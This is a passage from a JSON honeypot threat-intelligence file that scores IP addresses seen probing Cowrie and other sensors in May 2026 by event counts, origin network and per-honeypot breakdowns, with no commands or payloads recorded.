        "total_events_30d": 141383,
        "days_active_30d": 6,
        "ports_targeted_30d": 65762,
        "honeypots_triggered_30d": 16,
        "first_seen_30d": "2026-05-18T02:22:23+00:00",
        "last_seen_30d": "2026-05-23T00:26:40.309000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 122401,
        "Honeytrap": 18931,
        "Mailoney": 12,
        "Cowrie": 10,
        "Dionaea": 8,
        "ConPot": 7,
        "Redishoneypot": 3,
        "Dicompot": 2,
        "CitrixHoneypot": 1,
        "ElasticPot": 1,
        "H0neytr4p": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "65.49.1.122": {
      "attack_count": 9,
      "first_seen": "2026-05-03T08:57:07.516Z",
      "last_seen": "2026-05-25T03:53:53.848Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 284,
        "days_active_30d": 30,
        "ports_targeted_30d": 64,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T01:26:22+00:00",
        "last_seen_30d": "2026-05-31T14:24:31.065000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 165,
        "Honeytrap": 75,
        "Redishoneypot": 11,
        "Cowrie": 9,
        "H0neytr4p": 9,
        "Adbhoney": 6,
        "ConPot": 4,
        "ElasticPot": 4,
        "Dionaea": 1
      }
    },
    "14.1.105.141": {
      "attack_count": 8,
      "first_seen": "2026-05-19T10:38:09.722Z",
      "last_seen": "2026-05-19T10:39:01.073Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T10:38:09.722000+00:00",
        "last_seen_30d": "2026-05-19T10:40:10.153000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "177.92.183.199": {
      "attack_count": 8,
      "first_seen": "2026-05-16T17:43:20.118Z",
      "last_seen": "2026-05-20T10:15:47.237Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Goi\u00e2nia",
      "asn": 52573,
      "as_org": "Une Telecom Ltda",
      "threat_score": 17.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T17:43:20.118000+00:00",
        "last_seen_30d": "2026-05-20T10:16:49.279000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 8
      }
    },
    "172.239.71.244": {
      "attack_count": 6,
      "first_seen": "2026-05-30T01:16:53.430Z",
      "last_seen": "2026-05-30T01:16:53.701Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 43.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.8,
        "persistence": 3.3,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 4,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-28T10:29:42+00:00",
        "last_seen_30d": "2026-05-31T00:09:12.063000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Cowrie": 6,
        "Honeytrap": 6
      }
    },
    "185.221.219.10": {
      "attack_count": 6,
      "first_seen": "2026-05-04T19:44:06.156Z",
      "last_seen": "2026-05-04T19:44:13.671Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 63023,
      "as_org": "GTHost",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T19:44:06.156000+00:00",
        "last_seen_30d": "2026-05-04T19:45:16.715000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "66.132.224.227": {
      "attack_count": 6,
      "first_seen": "2026-05-28T01:36:11.573Z",
      "last_seen": "2026-05-28T01:36:55.021Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 89.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 97,
        "days_active_30d": 29,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-03T03:29:24+00:00",
        "last_seen_30d": "2026-05-31T01:23:19.018000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 66,
        "Honeytrap": 19,
        "Cowrie": 6,
        "ElasticPot": 4,
        "Dionaea": 2
      }
    },
    "87.236.176.175": {
      "attack_count": 6,
      "first_seen": "2026-05-15T19:29:41.067Z",
      "last_seen": "2026-05-15T19:29:43.812Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 36.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 18.3,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 22,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T07:07:59.825000+00:00",
        "last_seen_30d": "2026-05-25T10:34:19.270000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "91.204.209.46": {
      "attack_count": 6,
      "first_seen": "2026-05-27T07:08:35.683Z",
      "last_seen": "2026-05-27T07:08:42.851Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 52148,
      "as_org": "Enix Ltd",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T07:08:35.683000+00:00",
        "last_seen_30d": "2026-05-27T07:09:49.871000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "85.217.149.44": {
      "attack_count": 5,
      "first_seen": "2026-05-20T01:12:05.511Z",
      "last_seen": "2026-05-20T01:12:05.923Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (compatible; ModatScanner/1.2; +https://modat.io/)"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Beauharnois",
      "asn": 209334,
      "as_org": "Modat B.V.",
      "threat_score": 91.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 1398,
        "days_active_30d": 29,
        "ports_targeted_30d": 688,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T00:21:43.841000+00:00",
        "last_seen_30d": "2026-05-30T23:04:20.458000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 854,
        "Honeytrap": 537,
        "Cowrie": 5,
        "Dionaea": 2
      }
    },
    "189.133.88.227": {
      "attack_count": 4,
      "first_seen": "2026-05-23T14:57:26.951Z",
      "last_seen": "2026-05-23T14:59:28.144Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Iguala de la Independencia",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T14:57:26.951000+00:00",
        "last_seen_30d": "2026-05-23T15:10:23.442000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "20.65.193.170": {
      "attack_count": 4,
      "first_seen": "2026-05-21T20:14:16.601Z",
      "last_seen": "2026-05-21T20:14:27.094Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 25.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.3,
        "persistence": 4.2,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 5,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-17T20:59:32.178000+00:00",
        "last_seen_30d": "2026-05-21T20:15:33.967000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 4,
        "Honeytrap": 4
      }
    },
    "20.65.194.77": {
      "attack_count": 4,
      "first_seen": "2026-05-06T00:04:03.658Z",
      "last_seen": "2026-05-06T00:04:14.163Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 66.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.8,
        "persistence": 20.8,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 25,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-06T00:04:03.658000+00:00",
        "last_seen_30d": "2026-05-30T20:55:10.060000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Cowrie": 4,
        "Honeytrap": 4,
        "Dionaea": 1
      }
    },
    "205.210.31.108": {
      "attack_count": 4,
      "first_seen": "2026-05-27T16:21:04.644Z",
      "last_seen": "2026-05-27T16:21:08.173Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 120,
        "days_active_30d": 30,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T22:44:10+00:00",
        "last_seen_30d": "2026-05-31T21:53:30.973000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 86,
        "Honeytrap": 28,
        "Cowrie": 4,
        "ElasticPot": 1,
        "Sentrypeer": 1
      }
    },
    "36.255.220.229": {
      "attack_count": 4,
      "first_seen": "2026-05-23T00:07:36.462Z",
      "last_seen": "2026-05-23T00:07:50.477Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T00:07:36.462000+00:00",
        "last_seen_30d": "2026-05-23T00:08:55.342000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "51.158.205.203": {
      "attack_count": 4,
      "first_seen": "2026-05-13T13:13:35.470Z",
      "last_seen": "2026-05-31T06:36:20.924Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Haarlem",
      "asn": 12876,
      "as_org": "Scaleway SAS",
      "threat_score": 67.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.3,
        "persistence": 25,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 135,
        "days_active_30d": 30,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T02:04:20.585000+00:00",
        "last_seen_30d": "2026-05-31T21:24:39.063000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 109,
        "Honeytrap": 22,
        "Cowrie": 4
      }
    },
    "54.160.203.45": {
      "attack_count": 4,
      "first_seen": "2026-05-30T05:41:15.191Z",
      "last_seen": "2026-05-30T05:41:19.028Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T05:41:15.191000+00:00",
        "last_seen_30d": "2026-05-30T05:42:21.568000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "59.23.100.69": {
      "attack_count": 4,
      "first_seen": "2026-05-25T14:45:04.983Z",
      "last_seen": "2026-05-31T01:58:54.750Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Pohang",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 26.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T14:45:04.983000+00:00",
        "last_seen_30d": "2026-05-31T02:00:01.678000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "210.156.161.14": {
      "attack_count": 3,
      "first_seen": "2026-05-24T23:12:10.929Z",
      "last_seen": "2026-05-24T23:13:32.849Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 2527,
      "as_org": "Sony Network Communications Inc.",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T23:12:10.929000+00:00",
        "last_seen_30d": "2026-05-24T23:14:39.530000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "36.137.121.41": {
      "attack_count": 3,
      "first_seen": "2026-05-16T14:50:25.398Z",
      "last_seen": "2026-05-16T14:52:25.401Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 10.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T14:32:01.991000+00:00",
        "last_seen_30d": "2026-05-16T15:03:00.287000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "1.182.15.241": {
      "attack_count": 2,
      "first_seen": "2026-05-21T09:51:21.063Z",
      "last_seen": "2026-05-21T09:51:33.648Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T09:51:21.063000+00:00",
        "last_seen_30d": "2026-05-21T09:52:36.953000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "102.222.90.244": {
      "attack_count": 2,
      "first_seen": "2026-05-12T11:36:00.247Z",
      "last_seen": "2026-05-12T11:36:12.334Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mozambique",
      "country_code": "MZ",
      "city": null,
      "asn": 327750,
      "as_org": "JENNY-INTERNET",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T11:36:00.247000+00:00",
        "last_seen_30d": "2026-05-12T11:37:21.104000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.25.168.204": {
      "attack_count": 2,
      "first_seen": "2026-05-19T23:28:24.678Z",
      "last_seen": "2026-05-19T23:28:37.045Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Ulhasnagar",
      "asn": 133720,
      "as_org": "Zess Networks Private Limited",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T23:28:24.678000+00:00",
        "last_seen_30d": "2026-05-19T23:29:45.560000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.73.101.171": {
      "attack_count": 2,
      "first_seen": "2026-05-14T13:35:09.229Z",
      "last_seen": "2026-05-14T13:35:21.803Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 136969,
      "as_org": "KK Networks Pvt Ltd.",
      "threat_score": 25.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 6.0,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T13:35:09.229000+00:00",
        "last_seen_30d": "2026-05-27T07:58:21.177000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "103.91.162.185": {
      "attack_count": 2,
      "first_seen": "2026-05-04T01:47:48.507Z",
      "last_seen": "2026-05-04T01:48:01.457Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 136319,
      "as_org": "Acebrowse Private Ltd",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T01:47:48.507000+00:00",
        "last_seen_30d": "2026-05-04T01:49:03.539000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "106.58.60.205": {
      "attack_count": 2,
      "first_seen": "2026-05-22T04:19:26.265Z",
      "last_seen": "2026-05-22T04:19:55.492Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T04:19:26.265000+00:00",
        "last_seen_30d": "2026-05-22T04:21:00.507000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "106.77.157.66": {
      "attack_count": 2,
      "first_seen": "2026-05-05T15:21:35.502Z",
      "last_seen": "2026-05-05T15:21:49.236Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bhopal",
      "asn": 45271,
      "as_org": "Vodafone Idea Ltd",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T15:21:35.502000+00:00",
        "last_seen_30d": "2026-05-05T15:22:59.278000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "111.76.42.179": {
      "attack_count": 2,
      "first_seen": "2026-05-16T19:19:43.194Z",
      "last_seen": "2026-05-16T19:19:56.087Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T19:19:43.194000+00:00",
        "last_seen_30d": "2026-05-16T19:20:58.254000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.112.44.25": {
